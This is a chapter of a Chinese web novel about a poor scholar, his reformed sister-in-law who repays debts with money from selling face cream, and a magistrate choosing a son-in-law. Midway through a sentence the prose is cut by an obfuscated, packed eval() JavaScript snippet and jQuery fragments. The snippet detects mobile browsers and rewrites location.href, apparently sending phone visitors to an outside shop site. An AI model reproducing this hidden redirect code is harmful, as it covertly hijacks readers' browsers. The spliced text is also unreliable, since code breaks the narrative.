孙元维对于萧绪的事情早有耳闻,虽不曾听萧绪主动提过,但他也是见识过这位寡嫂的疯癫举动。
几月前,萧绪寡嫂跑到书院大门,大喊萧绪让他出来,颐指气使地说家里没钱了,让萧绪给钱,当时孙元维同萧绪交好,不想事情闹大被人看笑话,打发她点银子走人了。
到现在他还记得,她走人时,露出那贪婪的目光。
孙元维看着卿梧和卿香踏进了二楼,两人都没发现他们,往拐角处的窗边直奔而去,刚坐下便招呼小二,让他上几个硬菜。
坐在这边的孙元维一听,顿时愤然拍桌,“二郎,你钱都被她偷了?她这一顿饭可要花掉你抄的二十八本书!”
萧绪朝那边看去,只能看见卿梧一个侧脸,她正从鼓鼓囊囊的钱袋里倒钱出来给小二,她好似比之前更好看了,描了眉,涂了脂粉,也戴上了银簪。
“她没有拿我的钱。”
萧绪他哪里还有什么钱,钱袋里的银子不到一百文。
这几日,他都看在眼里,卿梧每日熬制什么养颜膏。起初,他以为她白折腾,没想到她竟然真的靠这养颜膏赚了不少钱,还买了些银簪首饰。
萧绪的脸沉下,脸上依旧没什么表情。
孙元维丝毫不信,“二郎,我忘了同你说,你这嫂嫂好几次来书院找你要钱,都是我打发走的!”
“她找你要过钱?”萧绪闻言,端起茶杯的手一顿,“你为何不同我说?”
孙元维没想放心上,“也就几两银子,我是怕她误了你的名声,可这卿梧她偷了你的钱,你到时候的束脩和住宿费怎么交!真是过分。我帮你去把钱要回来!”
孙元维当即起身,疾风一般就往那边而去。
“卿梧!”
愤愤然的声音在卿梧耳边响起,她抬头一看,只见一张五官端正的清俊脸,有些眼熟,但她一时没想起来是谁。
“把钱还给萧二郎!”孙元维指着她鼓囊的钱袋,语气不容辩驳。
“什么还钱?”卿梧下意识把钱往身后藏了藏,以为这人是个当街要抢钱的恶霸。
孙元维一下子更火了,“你偷了二郎的钱!你让他接下来在书院怎么活,他还得交住宿费!”
孙元维正想骂下去,萧绪已经走到他面前,“走。”
“为何,二郎,你昏了头不成!”
一旁的卿香瞪了他们一眼,总算看明白了,“你胡说什么,这钱都是我和梧姐姐卖养颜膏赚的,什么偷他的!”
孙元维目光扫到她们桌上包裹里的养颜膏,想说出口的话被噎在了喉咙处。刚才萧绪说他嫂嫂没有偷,难不成真误会了?
“抱歉。”寒玉般的声音从萧绪口中而出。
卿梧只见他脸上晦暗一片,寒星的眸子一扫而过。
两人适时转身走了。
卿香气呼呼的捶桌,“真是过分,凭什么说我们赚的钱就是偷他的了。”
卿梧这时才从脑海里闪过那孙元维的身影,总算是想起来了,原身曾经去书院闹,这孙元维是萧绪交好的同窗,为了不让她去闹萧绪,给了她不少银钱呢。
于是她起身,从钱袋里拿出之前借过的钱,朝孙元维面前的桌子一放,“这些钱是我之前找你要的,你数数,对不对数。”
孙元维见她放在桌上的银子,好半晌才反应过来,诧异道,“对,对。”
卿梧没再停留,转身走了。
孙元维看着她的背影,颇为不解,“你这嫂嫂,何时变了?看着不像以前那个张扬跋扈的卿梧啊。”
萧绪抬眼也在看她,点漆的眸子情绪不明。
卿梧回到座位上后,又开始数起钱来,不到五百文,刚刚还出去几两银子。今天赚的钱全搭进去了。
不过孙元维的话也提醒了她。
这一年来,她不止欠了孙元维钱,更是欠了萧绪不少钱。萧绪还没去书院时,她几乎隔几天就问萧绪要钱。
萧绪去了书院后,便跑去书院问。
这零零散散加起来,她至少欠了萧绪五两银子。
看来这几天得抓紧挣钱了,好把这五两银子还给萧绪。
……
青山书院的百学斋是院长平时休息的地方。
秦熠今日没带仆从,只身来了书院。只为了给女儿相看,前两日,秦灼把那表侄叫到宅里相看,女儿却说全听他这个爹爹的。而今,便是过来在老师授课时看看两人,到底哪个做他女婿更为合适。
不过这一看,倒是另外一个人入了他的眼。
他没多想,直奔老师房间,尊敬地打了招呼。
院长见他来了,请他坐下,给他煮茶。
“老师,这怎使得。”
院长笑着道,“无妨,老朽给大人煮杯茶。”
秦熠也不推脱了,大方接过他煮的茶。
院长摸了摸胡须,“可看好了?”
“学生惭愧,这样的小事还要拜托老师。”秦熠目光深远,“倒是有一个。”
“一个?”院长眼皮微掀起,浑浊眸光中露出些许好奇的亮光。
“可否让学生看看他写的策论?”秦熠坦然地看着院长,正想询问那个书生的姓名,此时门外传来咚咚的敲门声打断了他。
咚咚咚!
“院长,学生萧绪求见。”
门里两人对视一眼,而后秦熠起身开了门。
萧绪瞳孔微动,而后拱手垂头,“学生不知院长待客,故冒昧打扰,还请勿怪。”
“进来吧。”坐在蒲团上煮茶的院长缓声唤他。
“是。”萧绪进来后,低头,立在院长身侧,并未看对面的秦熠一眼。
院长道,“你可是家中困难?”
萧绪半阖的眼一凝,“是,但请院长放心,我……”
院长抬眼,睨他,“我是想问,你一月没来,可是家中出了事或是读不起了?”
“并未。学生之前腿伤了,本以为半月就能好,没想到拖了一月有余。因我腿伤,无法来书院同院长告假,还请院长勿怪。住宿费我会补上的。”
院长,“这一月,学业可有落下?”
“这是学生写的,敬请院长审阅。”萧绪弯腰将文章放至桌上。那日他腿伤了,拖着病痛的身子来书院,院长让他告假养伤,临走前,还给他布置了不少课业。
“行了,你先出去吧。”院长看着离开屋子,将桌上最上面的那篇策论扫了一眼,而后递给秦熠。
秦熠开怀大笑,“知我者,老师也。”
秦熠看完后,不由赞叹,“不出意外,他必有所成。”
院长弯唇一笑,“这正是我当年看你的模样。”
秦熠嗤一声,故作生气,“老师当年,可没对我这么上心。”
院长声音低沉,“招婿一事,你是怎么想的?”
秦熠喝了口茶,仔细思索一番,今日在窗外,他观察了,江延资质一般,谢宴略强。倒是这个萧绪,天资聪颖,深得他心,加以培养,必是人才。
只不过……
他答应了要从秦灼表侄里挑人,眼下慧言是个没主见的,他倒是看中了旁人。
半晌后,他起身告辞,“学生心里已有答案,改日再来叨扰老师,必备上薄礼。”
……
晚上,萧绪回到宿舍,坐到书案边整
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405735|200494||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
准备抄书,他的住宿费还是差点,原本没在书谱买那本书,倒是能凑够……只是那本书,他想买很久了。
正出神着,孙元维气喘吁吁地推门就进了宿舍。
“二郎,二郎!”
萧绪回神,但并未理他,加快了速度开始抄书。
孙元维走到他书案前,将五两银子扣在桌上。
萧绪抬头,启齿道,“我不借钱。”
“嘿!”孙元维知道他是个倔脾气,从前见萧绪抄书辛苦,说可以借钱给他他偏不要。但是如果他请客,萧绪倒是欣然同意,所以他每次都拉着萧绪往外面去请他吃饭。
孙元维拉个条凳坐到他对面,喘了口气,“刚刚在书院外又碰见你嫂嫂了!”
萧绪这时抬头,不解地看着他。
“这是她给我的,说是之前借你的钱,本想着以后还你,但她说欠别人钱不舒服,然后托我把这银子还你。”
萧绪脸上一僵,再次扫过书案上的银子时,深邃的眸光流转着,慢慢变温。
孙元维道,“这下你能交齐住宿费了。而且马上要过年了,你的束脩也要交了!”
书院住宿费本身不贵,一个月才一百五十文。可读书处处都费钱,买笔墨纸砚,教学书本,还有便是这束脩。
以前萧绪晚上抄书,告假时去当脚夫,倒是能赚到不少钱。只是之前赚的钱都借给萧族长给儿子看病了,他又病了一个月无法出去打工,便十分拮据起来。
……
卿梧又朝卿香借了银子还钱,她本来是想晚些还萧绪的钱,可又听孙元维说因为她萧绪都要交不起住宿费了。
卿梧怕萧绪日后想起这事怨怼于他,索性早点还。
五两银子如今对于她来说不算难赚,因为她有养颜膏和祛痘膏的秘方,目标是只赚富人钱。
等她有钱周转了,便开了胭脂铺子提价,到时候只管坐着收钱就是。
这几天她窝在家里未出,调配祛痘膏,卿香便在她旁边打下手。
两人搭配干活,很快第一批祛痘膏便做好了。
正当两人进城信心满满地往西市摆摊赚钱时。
久违的系统声音响起来了。
「最新任务限时一个时辰:给陆珣侑送饭。」
!?卿梧光顾着赚钱了,都快忘了她还要一个攻略男主的任务。
而且还要再一个时辰内给陆珣侑送饭,怎么可能做到,她连陆珣侑现在在哪都不知道。
慌乱了一瞬,卿梧很快镇定下来,陆珣侑是个秀才,也就是说他很可能现在在书院。
于是,卿梧将包裹全部塞给卿香,嘱咐今日让她一人先看着摊子,她办完事很快就回。
卿梧进了一个酒楼,打包了一份荷花鸡,往青山书院去。
此时正好临近正午,不少书生出了书院正准备去吃饭。
卿梧不是书院的人是直接进去,她翘首以盼好久没见陆珣侑出来,便礼貌朝出来的书生问有没有见过陆珣侑。
很快,有个陆珣侑的同窗答应帮她去喊人出来。
同窗往讲堂走,陆珣侑正坐在条凳上收拾笔墨,便跑去喊他,“陆珣侑!有个女子在书院,说有事找你,你快去一趟。”
陆珣侑的手一顿,朝同窗点头,便起身走了。
讲堂里的孙元维看着他远去的背影,突然忍不住笑出了声,“该不会是秦家大小姐吧!陆珣侑这是屈服了?愿意当秦大小姐的上门女婿?怪哉怪哉。”
萧绪对此类事情不感兴趣,他收拾完东西,就准备是膳堂走。
孙元维拉住他说要请他吃饭。
于是两人结伴往书院外走。